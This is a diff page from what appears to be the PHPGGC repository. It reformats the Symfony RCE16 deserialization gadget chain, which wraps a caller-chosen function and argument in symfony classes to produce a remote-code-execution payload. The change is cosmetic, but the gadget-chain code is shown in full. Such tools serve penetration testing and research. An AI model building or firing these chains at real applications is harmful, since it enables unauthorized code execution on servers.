File tree Expand file tree Collapse file tree 2 files changed +12
-13
lines changed
gadgetchains/Symfony/RCE/16 Expand file tree Collapse file tree 2 files changed +12
-13
lines changed Original file line number Diff line number Diff line change @@ -12,9 +12,7 @@ class RCE16 extends \PHPGGC\GadgetChain\RCE\FunctionCall
1212 public function generate (array $ parameters )
1313 {
1414 $ escaper = new \sfOutputEscaperArrayDecorator ($ parameters ['function ' ], array ($ parameters ['parameter ' ]));
15-
16- $ tableInfo = new \sfNamespacedParameterHolder ($ escaper );
17-
15+ $ tableInfo = new \sfNamespacedParameterHolder ($ escaper );
1816 return $ tableInfo ;
1917 }
2018}
Original file line number Diff line number Diff line change 22
33class sfOutputEscaperArrayDecorator
44{
5- protected $ value ;
5+ protected $ value ;
66
7- protected $ escapingMethod ;
7+ protected $ escapingMethod ;
88
9- public function __construct ($ escapingMethod , $ value ) {
10- $ this ->escapingMethod = $ escapingMethod ;
11- $ this ->value = $ value ;
12- }
9+ public function __construct ($ escapingMethod , $ value )
10+ {
11+ $ this ->escapingMethod = $ escapingMethod ;
12+ $ this ->value = $ value ;
13+ }
1314}
1415
15- class sfNamespacedParameterHolder implements Serializable
16+ class sfNamespacedParameterHolder implements Serializable
1617{
1718 protected $ prop = null ;
1819
19- public function __construct ($ prop ) {
20- $ this ->prop = $ prop ;
20+ public function __construct ($ prop )
21+ {
22+ $ this ->prop = $ prop ;
2123 }
2224
2325 public function serialize ()
@@ -27,6 +29,5 @@ public function serialize()
2729
2830 public function unserialize ($ serialized )
2931 {
30-
3132 }
3233}
You can’t perform that action at this time.
0 commit comments